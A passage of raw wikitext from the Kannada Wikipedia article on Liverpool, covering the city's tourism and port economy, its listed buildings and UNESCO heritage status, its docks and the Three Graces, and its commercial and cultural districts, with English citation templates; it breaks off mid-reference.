ಹಗಲುರಾತ್ರಿ ಆಗಮಿಸಿದ ಪ್ರವಾಸಿಗರಿಂದ ಸ್ಥಳೀಯ ಆರ್ಥಿಕತೆಗೆ £188 ಆದಾಯ ಬಂದಿದೆ.<ref name="Birmingham overtakes Glasgow in top 10 most-visited" /> ಪ್ರವಾಸೋದ್ಯಮದಿಂದಾಗಿ ಒಂದು ವರ್ಷಕ್ಕೆ ಲಿವರ್‌ಪೂಲ್ ಆದಾಯ ಅಂದಾಜು £1.3 ಬಿಲಿಯನ್.<ref name="Host City: Liverpool" /> ನಗರದಲ್ಲಿನ ಹೊಸದಾದ ವಿಹಾರ ನೌಕಾಯಾನದ ದೊಡ್ಡ ಹಡಗು ತಂಗುದಾಣವು ಪೀರ್ ಹೆಡ್ ಸಮೀಪವಿದ್ದು ಪ್ರಪಂಚದಲ್ಲಿರುವ ಕೆಲವು ವಿಹಾರ ನೌಕಾ ಹಡಗುಗಳು ನಿಲ್ಲುವ ಸ್ಥಳವಾಗಿದ್ದು ನಗರದ ಮಧ್ಯಭಾಗದಲ್ಲಿದೆ.<ref name="City of Liverpool Cruise Terminal">{{Cite web|url=http://www. liverpool.gov.uk/ Leisure_ and_culture/Tourism_and_travel/cruise_liverpool/index.asp|title=City of Liverpool Cruise Terminal|date=2010-12-10|publisher=Liverpool City Council|accessdate=4 March 2010|archiveurl=http://web. archive.org/web/20090607101739/www. liverpool.gov.uk/Leisure_and_culture/Tourism_and_ travel/cruise_ liverpool/ index.asp|archivedate=7 June 2009}}</ref> ತೀರಾ ಇತ್ತಿಚೀಗೆ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾದ ಇಕೋ ಅರೆನಾ ಮತ್ತು ಲಿವರ್‌ಪೂಲ್ ಒನ್ ಲಿವರ್‌ಪೂಲ್‌ನ ಅತ್ಯಂತ ಪ್ರಮುಖವಾದ ವಿರಾಮ ಸ್ಥಳವಾಗಿದ್ದು ಇದರಿಂದಾಗಿ ಯುಕೆಯಲ್ಲಿನ ಪ್ರಮುಖ ಐದು ಸ್ಥಳಗಳಲ್ಲಿ ಇದೊಂದಾಗಿಸಲು ಸಹಾಯಕವಾಗಿದೆ.<ref>{{Cite news|url=http://www.telegraph.co.uk/finance/financetopics/recession/uk-recession-telegraph-tour/5544024/Liverpools-retail-therapy-pays-off.html|title=UK recession tour: Liverpool's retail therapy pays off|date=2009-06-15|publisher=Daily Telegraph|accessdate=4 March 2010|location=London|archive-date=2010-02-16|archive-url=https://web.archive.org/web/20100216174846/http://www.telegraph.co.uk/finance/financetopics/recession/uk-recession-telegraph-tour/5544024/Liverpools-retail-therapy-pays-off.html|url-status=dead}}</ref> ಐತಿಹಾಸಿಕವಾಗಿ, ಲಿವರ್‌ಪೂಲ್‌ನ ಆರ್ಥಿಕತೆಯು ನಗರದ ಬಂದರಿನ ಸುತ್ತ ಮತ್ತು ಉತ್ಪಾದನಾ ಮೂಲಗಳಿಗೆ ಕೇಂದ್ರವಾಗಿತ್ತು. ಆದಾಗ್ಯೂ ಇಂದು ನಗರದಲ್ಲಿ 10%ಕ್ಕಿಂತಲೂ ಕಡಿಮೆ ಉದ್ಯೋಗಗಳು ಈ ಕ್ಷೇತ್ರಗಳಲ್ಲಿವೆ.<ref name="Liverpool Economic Briefing - March 2009" /> ಅದೆನೆ ಇದ್ದರು ಈ ನಗರವು ಯುಕೆಯ ಅತ್ಯಂತ ಮುಖ್ಯವಾದ ಬಂದರಾಗಿದ್ದು 2008ರಲ್ಲಿ 32.2 ಮಿಲಿಯನ್ ಟನ್ ಹಡಗಿನ ಸರಕು ವ್ಯವಹಾರ ನಡೆಸಿದೆ.<ref name="Provisional Port Statistics 2008">{{Cite web|url=http://webarchive.nationalarchives.gov.uk/+/http://www.dft.gov.uk/pgr/statistics/datatablespublications/maritime/ports/provportstats2008|title=Provisional Port Statistics 2008|date=2009-05-14|publisher=[[Department for Transport]]|accessdate=4 March 2010}}</ref> ಜಪನೀಸ್ ಫಿರ್ಮ್ ಎನ್‌ವೈಕೆ ಮತ್ತು ಡ್ಯಾನಿಶ್ ಫಿರ್ಮ್ ಮೀಯರ್ಸ್ ಲೈನ್‌ನಂತಹ ಹಲವಾರು ಹಡಗು ದಾರಿಗಳಿಗೆ ಯುಕೆಯ ಮುಖ್ಯಸ್ಥಳವಾಗಿದೆ.<ref>{{Cite web|url=http://www.liverpoolecho.co.uk/liverpool-news/local-news/2010/02/16/japanese-shipping-line-nyk-doubling-its-city-operation-100252-25841578/|title=Japanese shipping line NYK doubling its city operation|date=2010-02-16|publisher=Liverpool Echo|accessdate=24 February 2010}}</ref><ref>{{Cite web|url=http://www.liverpoolecho.co.uk/liverpool-news/local-news/2009/02/04/liverpool-wins-london-hq-as-maersk-relocates-to-city-100252-22852208/|title=Liverpool wins London HQ as Maersk relocates to city|date=2009-02-04|publisher=Liverpool Echo|accessdate=24 February 2010}}</ref> ನಗರದ ಉತ್ತರ ಹಡಗು ಕಟ್ಟೆಯನ್ನು ಪುನರ್‌ನಿರ್ಮಾಣ ಮಾಡಲು ಯೋಜಿಸಲಾಗಿದ್ದು ಇದಕ್ಕೆ ಲಿವರ್‌ಪೂಲ್ ವಾಟರ್ಸ್ ಎಂದು ಹೆಸರಿಸಲಾಗಿದೆ ಇದರಿಂದ ಮುಂದಿನ ಐವತ್ತು ವರ್ಷಗಳಲ್ಲಿ £5.5 ಬಿಲಿಯನ್ ಬಂಡವಾಳ ತೊಡಗಿಸಲಾಗಿದ್ದು 17,000 ಹೊಸ ಉದ್ಯೋಗ ಸೃಷ್ಟಿಯನ್ನು ನಿರೀಕ್ಷಿಸಲಾಗುತ್ತಿದೆ .<ref name="People power to decide fate of new £5.5bn waterfront">{{Cite web|url=http://www.liverpoolecho.co.uk/liverpool-news/local-news//tm_headline=people-power-to-decide-fate-of-new--5-5bn-waterfront&method=full&objectid=18715809&siteid=50061-name_page.html|title=People power to decide fate of new £5.5bn waterfront|date=2007-03-07|publisher=Liverpool Echo|accessdate=4 March 2010}}</ref> ದೇಶದ ಹಾಲೆವುಡ್ ಸ್ಥಳದಲ್ಲಿ ಜಗ್ವಾರ್ X-ಟೈಪ್ ಮತ್ತು ಲ್ಯಾಂಡ್ ರೋವರ್ ಫ್ರೀಲ್ಯಾಂಡರ್ ಮಾದರಿ ಕಾರ್ ಉತ್ಪಾದನೆಯನ್ನುಮಾಡಲಾಗುತ್ತಿದೆ. ==ಹೆಗ್ಗುರುತುಗಳು== {{Main|Architecture of Liverpool|Liverpool Maritime Mercantile City}} {{See also|List of tallest buildings and structures in Liverpool}} [[File:Liverpool city centre.jpg|thumb|ಲಿವರ್‌ಪೂಲ್ ಕೆಥಡ್ರಲ್‌ನಿಂದ ಕಾಣುವ ಲಿವರ್‌ಪೂಲ್ ಕೇಂದ್ರ ಪ್ರದೇಶದ ನೋಟ]] [[File:Albert Dock Liverpool 7.jpg|thumb|ಲಿವರ್‌ಪೂಲ್‌ನ ಅತ್ಯಂತ ಪ್ರಸಿದ್ಧ ಪ್ರವಾಸಿ ಸ್ಥಳವಾದ ಆಲ್ಬರ್ಟ್ ಡಾಕ್]] ಲಿವರ್‌ಪೂಲ್‌ನ ಇತಿಹಾಸ ಹೇಳುವಂತೆ, ೧೬ನೇ ಶತಮಾನದ ಟ್ಯುಡರ್ ಸ್ಟೈಲ್‌ನಿಂದ ಆಧುನಿಕ ಸಮಕಾಲೀನ ವಾಸ್ತುಶಿಲ್ಪದವರೆಗೆ ನಗರದ ಒಳಗೆ ಗಣನೀಯ ವೈವಿಧ್ಯತೆಯಲ್ಲಿ ವಾಸ್ತುಶಿಲ್ಪೀಯ ಮಾದರಿಗಳು ದೊರೆಯುತ್ತವೆ.<ref name="Hughes (1999), p10">ಹ್ಯೂಗ್ಸ್(1999), p10</ref> ಇಲ್ಲಿರುವ ಹೆಚ್ಚಿನ ಎಲ್ಲಾ ಕಟ್ಟಡಗಳು18ನೇಯ ಶತಮಾನದ ಕೊನೆಯ ಭಾಗದ್ದಾಗಿದ್ದು [[ಬ್ರಿಟೀಷ್ ಸಾಮ್ರಾಜ್ಯ|ಬ್ರಿಟೀಶ್ ಸಾಮ್ರಾಜ್ಯದ]] ಅಗ್ರಗಣ್ಯ ಅಧಿಕಾರದಲ್ಲಿ ಅಭಿವೃದ್ಧಿ ಹೊಂದಿತು.<ref name="Hughes (1999), p11">ಹ್ಯೂಗ್ಸ್ (1999), p11</ref> ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ 27 ಇ ಶ್ರೇಣಿಯ<ref>{{Cite web|title=Grade I listing for synagogue |publisher=BBC |date=2008-03-03 |url=http://www.bbc.co.uk/liverpool/ content/articles/ 2008/03/03/faith_synagogue_feature.shtml |accessdate=2009-07-11}}</ref> ಮತ್ತು 85 II* ಶ್ರೇಣಿಯ ಕಟ್ಟಡಗಳನ್ನೊಳಗೊಂಡ 2,500ಕ್ಕೂ ಹೆಚ್ಚು ಶ್ರೇಣೀಕೃತ ಕಟ್ಟಡಗಳಿವೆ.<ref>{{Cite web|title=Listed buildings|publisher=Liverpool City Council|url=http://www.liverpool.gov.uk/Environment/Land_and_premises/Conservation/Listed_buildings/index.asp|accessdate=2008-09-21|archiveurl=https://web.archive.org/web/20081017074148/http://www.liverpool.gov.uk/Environment/Land_and_premises/Conservation/Listed_buildings/index.asp|archivedate=2008-10-17|url-status=dead}}</ref> ಈ ನಗರವು ವೆಸ್ಟ್ ಮಿನಿಸ್ಟರ್‌ನ ಆಚೆ <ref>{{Cite web|title=Historic Britain: Liverpool |publisher=HistoricBritain.com |url=http://www.historicbritain.com/results.aspx?showmessage =true&location=liverpool&AspxAutoDetectCookieSupport=1 |accessdate=2009-07-13}}</ref>[[ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್|ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌]]ನಲ್ಲಿ ಇತರ ಯಾವುದೇ ಸ್ಥಳಗಳಿಗಿಂತ ಅತಿ ಹೆಚ್ಚು ಸಂಖ್ಯೆಯ ಶಿಲ್ಪಾಕೃತಿಗಳನ್ನೂ ಹೊಂದಿದೆ ಮತ್ತು [[ಬಾಥ್‌]]ನ ನಗರಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಜಾರ್ಜಿಯನ್ ಮನೆಗಳನ್ನು ಸಹ ಹೊಂದಿದೆ.<ref>{{Cite web|title=Merseyside Facts |publisher=[[The Mersey Partnership]] |year=2009 |url=http: //www. merseyside.org.uk/displaypage.asp?page=40 |accessdate=2009-07-13}}</ref> ವಾಸ್ತುವಿನ ಶ್ರೀಮಂತಿಕೆಯಿಂದಾಗಿ ಇಂಗ್ಲೀಶ್ ಹೆರಿಟೇಜ್, ಇಂಗ್ಲೇಂಡ್ಸ್ ಫೈನೆಸ್ಟ್ ವಿಕ್ಟೋರಿಯನ್ ನಗರ ಎಂದು ಲಿವರ್‌ಪೂಲ್‌ನ್ನು ವ್ಯಾಖ್ಯಾನ ಮಾಡಲಾಗಿದೆ.<ref>{{Cite news|title=Heritage map for changing city |publisher=BBC News |date=2002-03-19 |url=http://news.bbc.co.uk/1/hi/england/1881661.stm |accessdate=2009-07-11}}</ref> ಯಾವಾಗ ನಗರದ ಎಲ್ಲೆಡೆ ಅನೇಕ ಪ್ರದೇಶಗಳು [[ವಿಶ್ವಸಂಸ್ಥೆಯ ಶೈಕ್ಷಣಿಕ, ವೈಜ್ಞಾನಿಕ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ಆಯೋಗ|ಯುನೆಸ್ಕೋ]] [[ವಿಶ್ವ ಪರಂಪರೆಯ ತಾಣ|ವರ್ಲ್ಡ್ ಹೆರಿಟೇಜ್ ಸೈಟ್‌]]ಆಗಿ ಘೋಷಿತವಾಯಿತೋ ಆಗ 2004ರಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ನ ವಾಸ್ತುಶಿಲ್ಪ ಮತ್ತು ರಚನೆಗಳು ಗುರುತಿಸಲ್ಪಟ್ಟವು. ಲಿವರ್‌ಪೂಲ್ ಮರ್ಟೈಮ್ ಮರ್ಕಂಟೈಲ್ ಸಿಟಿ ಎಂದು ಗುರುತಿಸಲ್ಪಡುವ ಪ್ರದೇಶಗಳು ಅಂತರಾಷ್ಟ್ರೀಯ ಉದ್ಯೋಗ ಮತ್ತು ಹಡಗು ಕಟ್ಟೆ ತಂತ್ರಜ್ಞಾನದ ಗುರುತಿಸುವಿಕೆಗೆ ಒಳಪಟ್ಟವು.<ref>{{Cite web|title=Liverpool – Maritime Mercantile City|url=http://whc.unesco.org/en/list/1150 |accessdate=2008-05-26}}</ref> ===ಜಲಾಭಿಮುಖಿ ಮತ್ತು ಹಡಗು ಕಟ್ಟೆ=== ಪ್ರಮುಖವಾದ ಬ್ರಿಟಿಶ್ ಬಂದರಿನಂತೆ, ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಹಡಗು ಕಟ್ಟೆಗಳು ನಗರದ ಅಭಿವೃದ್ಧಿಗೆ ಐತಿಹಾಸಿಕ ಕೇಂದ್ರವಾದವು. ಇಲ್ಲಿ ಹಲವಾರು ಪ್ರಮುಖ ಹಡಗುಕಟ್ಟೆಗಳುಗಳು ಕಂಡುಬರುತ್ತಿದ್ದು ಅವುಗಳಲ್ಲಿ 1715ರಲ್ಲಿ ಜಗತ್ತಿನಲ್ಲಿ ಮೊದಲು ನಿರ್ಮಾಣವಾದ ವೆಟ್ ಕಡಗುಕಟ್ಟೆ(ಒಲ್ಡ್ ಡಾಕ್) ಮತ್ತು ಮೊದಲ ಹೈಡ್ರಾಲಿಕ್ ಎತ್ತುವ ಕ್ರೇನ್‌ಗಳು ಸೇರಿವೆ.<ref>{{Cite book|last=Jones |first=Ron |title=Albert Dock, Liverpool |publisher=R.J. Associates Ltd |year=2004 |page=46 }}</ref> ೧೮೪೬ರಲ್ಲಿ ನಿರ್ಮಾಣಗೊಂಡ ಮತ್ತು ಇಂದು ಬ್ರಿಟನ್‌ನ ಎಲ್ಲಾ ಕಡೆಗಳಲ್ಲಿ ಗ್ರೇಡ್ 1 ರ ಶ್ರೇಣಿಯ ಅತಿ ಹೆಚ್ಚು ಕಟ್ಟಡಗಳನ್ನೊಳಗೊಂಡ ಆಲ್ಬರ್ಟ್ ಡೋಕ್, ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಅತ್ಯಂತ ಪ್ರಸಿದ್ಧವಾದ ಹಡಗು ಕಟ್ಟೆಯಾಗಿದೆ.<ref>{{Cite news |url=http://arts. guardian. co.uk/cityofculture2008/story/0,,950372,00.html |title=Glory of Greece, grandeur of Rome ... and docks of Liverpool |publisher=Guardian Unlimited |date=2003-03-07 |author=Helen Carter |accessdate=2007-03-27 |location=London |archive-date=2013-08-01 |archive-url=https://web.archive.org/web/20130801105400/http://arts/ |url-status=dead }}</ref> ಪರಿಪೂರ್ಣ ಮತ್ತು ವಿವಿಧ ಗುಣಗಳನ್ನು ಹೊಂದಿದ ಜೊತೆಗೆ ಜಗತ್ತಿನ ಅತಿ ಮುಖ್ಯ ಬಂದರಾಗಲು ಸಹಕರಿಸಿದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಜೆಸ್ಸಿ ಹಾರ್ಟ್ಲೇಯವರ ಮಾರ್ಗದರ್ಶನದಲ್ಲಿ ನಿರ್ಮಾಣಗೊಂಡ ಇಡೀ ಜಗತ್ತಿನಲ್ಲಿ ಅತೀ ಹೆಚ್ಚು ಮುಂದುವರಿದ ಹದಗು ಕಟ್ಟೆ ಎಂದು ಪರಿಗಣಿಸಲಾಯಿತು. 1901ರಲ್ಲಿ ಇದರ ನಿರ್ಮಾಣ ಸಮಯದಲ್ಲಿ, ಆ ಪ್ರದೇಶದಲ್ಲಿ ಜಗತ್ತಿನ ಅತಿದೊಡ್ಡ ಕಟ್ಟಡ ಎಂದು ಕರೆಸಿ ಕೊಳ್ಳುತ್ತಿದ್ದ<ref name="Nicholls, p38">ನಿಕೊಲ್ಸ್, p38</ref> ಮತ್ತು ಇಂದು ಜಗತ್ತಿನ ಅತಿದೊಡ್ಡ ಕಟ್ಟಿಗೆ ಕೆಲಸದ ಕಟ್ಟಡಾವಾಗಿ ಎದ್ದು ನಿಂತಿರುವ, ಸ್ಟೇನ್‌ಲೇ ಡಾಕ್ ಟೊಬೆಕೋ ವೇರ್‌ಹೌಸ್‌ಗೆ ಮನೆಯಾಗಿರುವ ಸ್ಟೇನ್‌ಲೇ ಡಾಕ್, ನಗರದ ಕೇಂದ್ರದ ಉತ್ತರ ಭಾಗದಲ್ಲಿದೆ.<ref>{{Cite web|url=http://www.liverpoolmuseums.org.uk/nof/docks/access/theme10.html#sta|title=Trading Places: A History of Liverpool Docks (Stanley Dock)|work=Liverpool Museums|accessdate=12 April 2008}}</ref> ಇದರ ಮೂಲವಾಗಿರುವ, ರೋಯಲ್ ಲಿವರ್ ಬಿಲ್ಡಿಂಗ್, ಕನಾರ್ಡ್ ಬಿಲ್ಡಿಂಗ್ ಮತ್ತು ಪೋರ್ಟ್ ಓಫ್ ಲಿವರ್‌ಪೂಲ್ ಬಿಲ್ಡಿಂಗ್ ಈ ಮೂರು ಕಟ್ಟಡಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿರುವ ಪಿಯರ್ ಹೆಡ್, ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಪ್ರಸಿದ್ಧ ಸ್ಥಳಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಕ್ರಿಸ್ತ ಶಕ 19ನೇ ಶತಮಾನದ ನಂತರ ಮತ್ತು 20ನೇ ಶತಮಾನದ ನಡುವಿನ ಅವಧಿಯಲ್ಲಿ ಈ ಕಟ್ಟಡಗಳು ನಗರದಲ್ಲಿ ಬಹು ದೊಡ್ಡ ಸಂಪತ್ತಿಗೆ ಉಯಿಲಾಗಿ ನಿಂತವು. ಇದು ''ತ್ರೀ ಗ್ರೇಸಸ್'' ಎಂದು ಸಾಂಘಿಕವಾಗಿ ಉಲ್ಲೇಖಿತವಾಗಿದೆ. ಇವು ವೈವಿಧ್ಯವಾದ ವಾಸ್ತುಶಿಲ್ಪೀಯ ಶೈಲಿಗಳಲ್ಲಿ ನಿರ್ಮಿತವಾದವು ಹಾಗೂ ಮರ್ಟೈಮ್ ಲಿವರ್‌ಪೂಲ್‌ನ ಲಾಂಚನವಾಗಿ ಗುರುತಿಸಿಕೊಂಡವು, ಮತ್ತು ಎಲ್ಲಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿ ಜಗತ್ತಿನಲ್ಲಿ ಅತ್ಯಂತ ಆಕರ್ಷಣೀಯ ಜಲಾಭಿಮುಖಿಗಳಲ್ಲಿ ಒಂದಕ್ಕೆ ಕೊಡುಗೆಯಾಗಿ ಗುರುತಿಸಿಕೊಂಡವು.<ref>ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ (2005), p49</ref><ref>ಮೊಸ್ಕಾರ್ಡಿನಿ (2008), p10</ref><ref>ನಿಕೊಲಸ್ (2005), p11</ref><ref>ಪೆವ್‌ಸ್ನರ್ (ಶಾರ್ಪಲ್ಸ್, 2004), p67</ref> ಕೆಲವು ವರ್ಷಗಳಿಂದೀಚೆಗೆ, ಲಿವರ್‌ಪೂಲ್‌ನ ಉದ್ದಕ್ಕೂ ಅನೇಕ ಪ್ರದೇಶಗಳು ಅರ್ಥಪೂರ್ಣವಾಗಿ ಮರು ಸುಧಾರಣೆಗೊಂಡಿವೆ. ಕಿಂಗ್ಸ್ ಡಾಕ್‌ನಲ್ಲಿ ಇಕೋ ಅರೇನಾ ಲಿವರ್‌ಪೂಲ್ ಮತ್ತು ಬಿಟಿ ಕನ್ವೆನ್ಶನ್ ಸೆನ್ಟರ್, ಪ್ರಿನ್ಸಸ್ ಡಾಕ್‌ನಲ್ಲಿ ಅಲೆಕ್ಸಾಂಡ್ರಾ ಟವರ್ ಮತ್ತು 1 ಪ್ರಿನ್ಸಸ್ ಡಾಕ್ ಹಾಗೂ ಕೋಬರ್ಗ್ ಹಾಗೂ ಬ್ರುನ್‌ಸ್ವಿಕ್ ಡಾಕ್‌ಗಳ ಸುತ್ತ ಲಿವರ್‌ಪೂಲ್ ಮರಿನಾ, ಇವು ಸದ್ಯದ ಗಮನಾರ್ಹವಾದ ಅಬಿವೃದ್ಧಿಗಳಲ್ಲಿ ಸೇರಿವೆ. ===ವ್ಯಾಪಾರಿ ಜಿಲ್ಲೆ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ಪ್ರಾಂತ=== [[File:Castlest01.jpg|thumb|ಕ್ಯಾಸಲ್ ಸ್ಟ್ರೀ‍ಟ್‌ನಿಂದ ಕಾಣುವ ಲಿವರ್‌ಪೂಲ್ ಟೌನ್‌ಹಾಲ್ಮೊದಲಿನ ಬ್ಯಾಂಕ್ ಆಪ್ ಇಂಗ್ಲಂಡ್‌ ಕಟ್ಟಡದಿಂದ ಕಾಣುವ ಕಟ್ಟಡ]] ಜಗತ್ತಿನ ಅತ್ಯಂತ ಪ್ರಮುಖವಾದ ವ್ಯಾಪಾರಿ ಬಂದರುಗಳಲ್ಲಿ ಒಂದಾಗಿ ಲಿವರ್ಪೂಲ್‌ನ ಐತಿಹಾಸಿಕ ಸ್ಥಿತಿಗತಿಯು ಹೆಚ್ಚಿನ ಸಮಯ ನೌಕಾ ಸಮೂಹದ ವ್ಯವಹಾರ ಸಂಸ್ಥೆಗಳಿಗೆ, ವಿಮಾ ಸಂಸ್ಥೆಗಳಿಗೆ, ಬ್ಯಾಂಕ್‌ಗಳಿಗೆ ಮತ್ತು ಇತರ ದೊಡ್ಡ ವ್ಯವಹಾರಿ ಸಂಸ್ಥೆಗಳಿಗೆ ಶ್ರೇಷ್ಟ ಕಟ್ಟಡಗಳು ಕೇಂದ್ರ ಸ್ಥಾನಗಳಂತೆ ನಗರದಲ್ಲಿ ನಿರ್ಮಾಣಗೊಳ್ಳಲ್ಪಟ್ಟವು. ಇದು ಹೆಚ್ಚ್ಚಿನ ಸಂಪತ್ತನ್ನು ತಂದು ಕೊಟ್ಟಿತು, ಯಾವೆಲ್ಲವುಗಳನ್ನು ನಗರವನ್ನು ಗೌರವದೊಂದಿದೆ ಮುನ್ನಡೆಸಲು ಸ್ಥಳೀಯ ಆಡಳಿತಗಾರರಿಗೆ ಅನುಮತಿ ನೀಡಲು ವಿನ್ಯಾಸಗೊಂಡವೊ, ನಂತರ ದೊಡ್ಡ ಪೌರ ಕಟ್ಟಡಗಳ ಅಭಿವೃದ್ಧಿಗೆ ಅವುಗಳನ್ನು ಅನುಮತಿಸಿದರು.<ref name="Liverpool City of Architecture">{{Cite book|last=Hughes |first=Quentin |title=Liverpool City of Architecture |publisher=[[The Bluecoat Press]] |year=1999}}</ref> ಕೇಸ್ಟ ಸ್ಟ್ರೀಟ್‌ನ ಸುತ್ತ ವ್ಯಾಪಾರಿ ಜಿಲ್ಲೆಯು ಕೇಂದ್ರವಾಗಿತ್ತು, ನಗರದ ಡೇಲ್ ಸ್ಟ್ರೀಟ್ ಮತ್ತು ಓಲ್ಡ್ ಹಾಲ್ ಸ್ಟ್ರೀಟ್ ಪ್ರದೇಶಗಳು ಜೊತೆಗೆ ಬಹಳಷ್ಟು ಪ್ರದೇಶಗಳ ರಸ್ತೆಗಳು ಇಂದಿಗೂ ಅವರ ಮಧ್ಯ ಯುಗದ ವಿನ್ಯಾಸ ರಚನೆಯನ್ನೇ ಅನುಸರಿಸುತ್ತಿವೆ. ಲಿವರ್‌ಪೂಲ್‌ನ ವರ್ಲ್ಡ್ ಹೆರಿಟೇಜ್ ಸ್ಥಳದಲ್ಲಿ ತನ್ನ ಇರುವಿಕೆಯಿಂದಾಗಿ ಮೂರು ದಶಕಗಳ ನಂತರ ಅಭಿವೃದ್ಧಿಯಾಗುತ್ತಿರುವ ಈಪ್ರದೇಶವು ನಗರದಲ್ಲಿ ಅತ್ಯಂತ ಪ್ರಮುಖವಾದ ವಾಸ್ತುಶಿಲ್ಪೀಯ ನೆಲೆಗಳಲ್ಲಿ ಒಂದು ಎಂದು ಭಾವಿಸಲ್ಪಟ್ಟಿತು.<ref> ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ (2005), p73</ref> 1754ರ ನಂತರದ ಅವಧಿಗಳಲ್ಲಿ ಕೇಸಲ್ ಸ್ಟ್ರೀಟ್‌ನ ಉನ್ನತ ಮಟ್ಟದಲ್ಲಿ ಸ್ಥಾನವನ್ನು ಪಡೆದ, ಶ್ರೇಣಿಯಲ್ಲಿ ಮೊದಲ ದರ್ಜೆಯಲ್ಲಿರುವ ಲಿವರ್‌ಪೂಲ್ ಟೌನ್ ಹಾಲ್ ಕಟ್ಟಡವು ಆ ಪ್ರದೆಶದ ಅತ್ಯಂತ ಹಳೆಯ ಕಟ್ಟಡವಾಗಿದೆ.<ref name="Liverpool City Council (2005), p74">ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ (2005), p74</ref><ref name="ಶಾರ್ಪ್ಲಸ್, p48">ಶಾರ್ಪ್ಲಸ್, p48</ref> ನಗರದ ಜಾರ್ಜಿಯನ್ ವಾಸ್ತುಶಿಲ್ಪದ ಅತ್ಯುತ್ತಮ ಭಾಗವೆಂದು ಮತ್ತೆ ಮತ್ತೆ ಭಾವಿಸಲ್ಪಟ್ಟಿದೆ, ಈ ಕಟ್ಟಡವು ಬ್ರಿಟನ್ನಿನ ಎಲ್ಲೆಡೆ ಅತ್ಯಂತ ಹೆಚ್ಚು ಶೃಂಗಾರಗೊಂಡ ಪುರ ಕಟ್ಟಡಗಳಲ್ಲಿ ಒಂದಾಗಿ ಪ್ರಖ್ಯಾತಿಯನ್ನು ಪಡೆದಿದೆ.<ref name="Liverpool City Council (2005), p74"/><ref name="ಶಾರ್ಪ್ಲಸ್, p48"/> ಕೇಸಲ್ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿಯೂ ಸಹ ಇದು ಶ್ರೇಣಿಯ ಮೊದಲ ದರ್ಜೆಯ ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಗ್ಲೆಂಡ್ ಬಿಲ್ಡಿಂಗ್ ಆಗಿದೆ, ಇದು ನ್ಯಾಶನಲ್ ಬ್ಯಾಂಕ್‌ನ ಕೇವಲ ಮೂರು ಪ್ರಾಂತೀಯ ಶಾಖೆಗಳಲ್ಲಿ ಒಂದಾಗಿ 1845ರಿಂದ 1848ರ ನಡುವಿನ ಅವಧಿಯಲ್ಲಿ ನಿರ್ಮಾಣಗೊಂಡಿತು.<ref name="Liverpool City Council (2005), p74" /> ಈ ಪ್ರದೇಶದಲ್ಲಿನ ಇತರೆ ಕೆಲವು ಕಟ್ಟಡಗಳು; ಟವರ್ ಬಿಲ್ಡಿಂಗ್ಸ್, ಅಲ್ಬಿಯನ್ ಹೌಸ್ ( ವೈಟ್ ಸ್ಟಾರ್ ಲೇನ್ ಪೂರ್ವದ ಕೇಂದ್ರ ಕಛೇರಿ), ಮುನ್ಸಿಪಲ್ ಬಿಲ್ಡಿಂಗ್ಸ್ ಮತ್ತು ಓರಿಯಲ್ ಛೇಂಬರ್ಸ್,<ref>[https://www.youtube.com/watch?v=S_pQPhVWNTY ಮ್ಯಾಂಚೆಸ್ಟರ್ ಸ್ಕೂಲ್ ಆಫ್ ಆರ್ಕಿಟೆಕ್ಚರ್ ವಿಡಿಯೊ]</ref> ಇವುಗಳನ್ನು ಪೂರಾತನವಾದ ಆಧುನಿಕ ಮಾದರಿಯ ಕಟ್ಟಡಗಳೆಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ.<ref>{{Cite web |title=Oriel Chambers |publisher=Liverpool Architectural Society |url=http://www.liverpoolarchitecture.com/tours/buildings/building.php?id=25 |accessdate=2009-07-14 |archive-date=2008-09-22 |archive-url=https://web.archive.org/web/20080922062904/http://www.liverpoolarchitecture.com/tours/buildings/building.php?id=25 |url-status=dead }}</ref> [[File:St George's Hall, Liverpool2.jpg|thumb|left|ನಿಯೋ-ಕ್ಲಾಸಿಕಲ್ ಸೇಂಟ್ ಜಾರ್ಜ್ ಹಾಲ್]] ವಿಲಿಯಂ ಬ್ರೌನ್ ಸ್ಟ್ರೀಟ್ ಸುತ್ತಮುತ್ತಲಿನ ಪ್ರದೇಶವು ನಗರದ 'ಸಾಂಸ್ಕೃತಿಕ ಕೇಂದ್ರ'ವೆಂದು ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿದೆ, ವಿಲಿಯಂ ಬ್ರೌನ್ ಲೈಬ್ರರಿ, ವಾಕರ್ ಆರ್ಟ್ ಗ್ಯಾಲರಿ, ಪಿಕ್ಟನ್ ರೀಡಿಂಗ್ ರೂಂಸ್ ಮತ್ತು ವರ್ಲ್ಡ್ ಮ್ಯೂಜಿಯಂ ಲಿವರ್‌ಪೂಲ್ ಮುಂತಾದ ಹಲವಾರು ನಾಗರಿಕರಿಗೆ ಸಂಬಂಧಿಸಿದ ಕಟ್ಟಡಗಳಿಂದ ಕೂಡಿದೆ.<ref name="ReferenceA">ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ (2005), p87</ref> ಯಾವುದರ ಅತ್ಯಂತ ಪ್ರಸಿದ್ಧವಾದ ಸೇಂಟ್ ಜಾರ್ಜಸ್ ಹಾಲ್,<ref>[https://www.youtube.com/watch?v=vPHvynh3GQg& amp;feature= PlayList&amp;p=DC9B6CD6A63D327E&amp;index=30 